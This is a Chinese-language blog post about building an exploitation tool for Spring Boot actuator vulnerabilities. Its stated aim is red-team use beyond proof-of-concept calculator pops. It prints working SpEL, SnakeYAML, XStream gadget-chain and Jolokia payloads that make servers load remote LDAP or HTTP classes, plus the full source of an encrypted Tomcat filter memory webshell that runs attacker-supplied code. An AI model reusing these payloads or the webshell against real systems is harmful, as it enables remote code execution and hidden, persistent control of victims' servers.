前言
SpringBootVulExploit 是Spring Boot漏洞Check list,但在真正的環境中進行漏洞利用還是有一段距離的,因此衍生出了SpringBootExploit工具,本文是對該Check list到記憶體馬探索之路的記錄,再此程序中學到了很多知識,識訓了很多,感謝神父hl0rey對我指導,才有工具誕生,
本文內容是筆者在看雪大會上演講的內容之一,本文應該在很早之前就發了,拖拖拉拉一直到現在,
漏洞歸類
Check list一共給出了十二種方法,我們首先歸類一下,看有那些共同點,
- JNDI注入
- 0x04:jolokia logback JNDI RCE
- 0x05:jolokia Realm JNDI RCE
- 0x07:h2 database console JNDI RCE
- Restart
- 0x06:restart h2 database query RCE
- 0x09:restart logging.config logback JNDI RCE
- 0x0A:restart logging.config groovy RCE
- 0x0B:restart spring.main.sources groovy RCE
- 0x0C:restart spring.datasource.data h2 database RCE
- 其他
- 0x01:whitelabel error page SpEL RCE
- 0x02:spring cloud SnakeYAML RCE
- 0x03:eureka xstream deserialization RCE
- 0x08:mysql jdbc deserialization RCE
分類標準,第一類是都可以直接使用JNDI注入的,第二類是都會將目標環境重啟啟動的,第三類是無法直接利用JNDI注入的,
第一類
第一類是最容易實作的JNDI記憶體馬注入的,遇到的問題也是最少的,
第二類
第二類是都需要對環境進行重啟操作,在測驗程序中很容易對環境造成不可逆的后果,所以對此并沒有進行整合,未來也不會集成,
第三類
第三類是無法直接利用JNDI,并且Check list說明里面都是反彈shell、彈計算器之類操作,這對于紅隊的是意義很小,
漏洞規范化
寫工具首先得每一個漏洞的Payload進行規范,目前支持所有的方式就是將第三類轉化支持JNDI注入的方式,將第三類漏洞進行轉化是繁瑣的作業,每一個漏洞目前網上公開的文章都是基于check list撰寫的,此程序中遇到很多問題,一度曾放棄幾種方式,一開始設想過支持回顯,但后來發現,反序列化執行操作都是用服務器發起了,無法做到回顯,壓根行不通,所有后面只做了記憶體馬,目前只支持一種記憶體馬后期會考慮支持更多型別的記憶體馬,
whitelabel error page SpEL RCE
SpEL RCE 最大問題就是如何用一句話的方式實作JNDI的方式,在**天下大木頭**的指導下我獲得提示:
javax.naming.InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");
根據上面嘗試,在測驗的程序遇到某名奇妙的一些問題,
public class spel {
public static void main(String[] args) {
String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()";
String rmi = "T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
String ldap = "new javax.naming.InitialContext().lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))";
String poc2 = "java.lang.Class.forName(\"javax.naming.InitialContext\").getMethod(\"lookup\", String.class).invoke(Class.forName(\"javax.naming.InitialContext\").newInstance(),\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(rmi);
StandardEvaluationContext context = new StandardEvaluationContext();
expression.getValue(context);
}
}
使用payload rmi時會報找不到lookup方法
使用payload poc2也報錯

最終通過不斷嘗試payload ldap是有效,但這個漏洞利用方式沒在工具里集成,是因為SpEL漏洞存在有很多種情況,無法做到考慮完全,如果你發現此漏洞可以用該工具生成Payload打,
Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload
${new javax.naming.InitialContext().lookup(new String(new byte[]{
0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x
39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,
0x6c,0x33 }))}
payload生成代碼:
public String SpelExpr(String cmd){
String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";
StringBuilder sb = new StringBuilder();
char[] ch = cmd.toCharArray();
for (int i=0 ; i<ch.length; i++){
sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue()));
if (i != ch.length -1 ){
sb.append(",");
}
}
ldap += sb.append(" }))}").toString();
System.out.println(ldap);
return ldap;
}
spring cloud SnakeYAML RCE
SnakeYaml RCE處理的比較特殊,一開始嘗試轉化JNDI的方法測驗失敗,JNDI注入其實是可以的,后期成功,但有一個問題POST /refresh的時候會回傳500,但注入是成功的(注入不成功也是,所以是無法很好的判斷),使用check list中的jar方式回傳是200,工具里面采用的是jar的方式,會判斷是否注入成功,
直接JNDI注入的代碼,
String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
" dataSourceName: \"ldap://127.0.0.1:1389/basic/TomcatMemShell3\"\n" +
" autoCommit: true";
服務器遠程加載jar,但這里有一個點,生成的jar要符合規范,和傳統的打包方式不一樣,這里要滿足某種規范(具體忘記了)artsploit/yaml-payload Y4er/yaml-payload 這里給出兩個專案參考生成包含記憶體馬jar,
String bytes = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:3456/behinder3.jar\"]\n" +
" ]]\n" +
"]\n";
eureka xstream deserialization RCE
eureka xstream 反序列化漏洞本質是xstream反序列化漏洞,但有一點和傳統XStream漏洞利用有區別的是,eureka處理不了hashmap,得重新構造EXP,
This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a custom converter for maps which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.
在exploiting-spring-boot-actuators中寫上面這段說明,大致意思就是eureka中不能使用hashmap,得替換成LinkedHashSet ,網上流傳的XStream的payload都是基于hashmap的,原文給的payload以及check list的payload都是彈計算器,不能進一步的深入利用,如何構造轉化成JNDI這一問題擺在我們面前,一開始踩了很多坑,后來發現YSOMAP里面集成了這個Payload,ysomap的使用方法大致類似于msf,如下圖,
但生成的payload得小改一下(將HashMap改成LinkedHashSet ),經過多次測驗最終成形的payload如下:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value >
<dataHandler>
<dataSource >
<is >
<cipher >
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator >
<iter >
<iter />
<next serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:10990/Calc</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</next>
</iter>
<filter >
<method>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next >foo</next>
</serviceIterator>
<lock/>
</cipher>
<input />
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</linked-hash-set>
目前沒有集成這個漏洞,因為服務器端要構造一個flask框架的服務端,內容包含上面的xml檔案,
目前實作方式
- Java直接實作Flask框架 沒有現成的方式(放棄)
- Java直接呼叫命令執行python檔案(失敗,Java呼叫Runtime和cmd直接呼叫是有區別的)
- 使用jython執行python檔案,腳本依賴flask依賴,要加入flask目錄(不符合需求)
mysql jdbc deserialization RCE
此漏洞利用極其復雜,條件要求較多,
- 需要確認存在mysql驅動
- 版本需要5.x或者8.x
- 需要存在gadget依賴
- 記錄原本的spring.datasource.url 的value,最后恢復
- 需要架設惡意rogue mysql server
成功率低,需要多,故目前沒集成(后期可能會集成),
jolokia logback JNDI RCE
Payload
String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps
+ ":3456!/a.xml";
a.xml
String bytes = "<configuration>\n <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";
jolokia Realm JNDI RCE
這個RCE利用方式和上面一個差不多,存在jolokia logback JNDI RCE大概率存在jolokia Realm JNDI RCE漏洞,這里就不詳細展開,
h2 database console JNDI RCE

服務端
所有的漏洞都是要使用JNDI和HTTP服務,如果每一個都是攻擊者進行使用將漏洞Payload進行適配,這會使得攻擊者使用成本和時間成本就大大增大了,這也不能達到一鍵化,自動化的目的,一個適配所有漏洞的服務端的工具就由此而生,在神父的幫助下,找到了專案JNDIExploit,
專案解決了大部分功能,以及框架等問題,這也使得工具很快的得到階段性的進展,
工具需求:
- 處理客戶端發送的Payload請求,回傳對應內容,
以jolokia logback JNDI RCE型別為例:
客戶端要請求xx.xml檔案,回傳如下內容
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
- 定制記憶體馬
和傳統記憶體馬注入有區別,JNDI是回傳Class檔案,直接實體化類,所以得定制化JNDI注入的記憶體馬類檔案,記憶體馬原始碼如下,
package com.feihong.ldap.template;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.coyote.RequestInfo;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class BehinderFilter extends ClassLoader implements Filter{
public String cs = "UTF-8";
// public String pwd = "eac9fa38330a7535";
public String pwd = "02f2a5c80f47d495";
public String path = "/ateam";
public String filterName = "ateam666";
public Request req = null;
public Response resp = null;
static {
try {
BehinderFilter behinderMemShell = new BehinderFilter();
if (behinderMemShell.req != null && behinderMemShell.resp != null){
behinderMemShell.addFilter();
}
} catch (Exception e){
}
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var4) {
}
return ret;
}
public BehinderFilter() {
this.setParams();
}
public BehinderFilter(ClassLoader c) {
super(c);
this.setParams();
}
public void setParams(){
try {
boolean flag = false;
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");
for (int i=0;i<threads.length;i++){
Thread thread = threads[i];
if (thread != null){
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")){
Object target = getField(thread,"target");
Object global = null;
if (target instanceof Runnable){
try {
global = getField(getField(getField(target,"this$0"),"handler"),"global");
} catch (NoSuchFieldException fieldException){
fieldException.printStackTrace();
}
}
if (global != null){
List processors = (List) getField(global,"processors");
for (i=0;i<processors.size();i++){
RequestInfo requestInfo = (RequestInfo) processors.get(i);
if (requestInfo != null){
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);
Response response = request.getResponse();
this.req = request;
this.resp = response;
flag = true;
break;
}
}
}
}
}
if (flag){
break;
}
}
} catch (Exception e){
e.printStackTrace();
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.req.getServletContext();
Filter filter = this;
String filterName = this.filterName;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
FilterRegistration.Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var22) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext)));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
String var26 = var25;
return var26;
} catch (Exception var23) {
var11 = var23.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public static Object getField(Object obj, String fieldName) throws Exception {
Field f0 = null;
Class clas = obj.getClass();
while (clas != Object.class){
try {
f0 = clas.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e){
clas = clas.getSuperclass();
}
}
if (f0 != null){
f0.setAccessible(true);
return f0.get(obj);
}else {
throw new NoSuchFieldException(fieldName);
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest)req).getSession();
Map obj = new HashMap();
obj.put("request", req);
obj.put("response", resp);
obj.put("session", session);
try {
session.putValue("u", this.pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
var7.printStackTrace();
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
}
}
@Override
public void destroy() {
}
}
總結
可能是大多數人沒有需求,或者是安全研究員沒有打紅隊的原因,導致利用方式普遍都是以彈計算器為最終結果,不能進一步深入利用,導致很多漏洞不了了之,目前網上普遍分析文章,復現文章都是以彈計算器結束,但這其實與實戰化的需求還存在著很遠的一段路程,
寫工具的時候遇到很多奇奇怪怪的問題,如果這些漏洞都能以高級漏洞利用的方式,或者不是執行命令但計算器的方式結束,其實會好很多,當然這些漏洞目前都是間接或者直接轉化成JNDI的方式進行漏洞利用,這雖然也存在一定的局限性,但我覺得這是一個開端,后續有人肯定有跟多的奇思妙想的解決方案,
參考
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://github.com/LandGrey/SpringBootVulExploit
https://github.com/wh1t3p1g/ysomap
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/531502.html
標籤:訊息安全
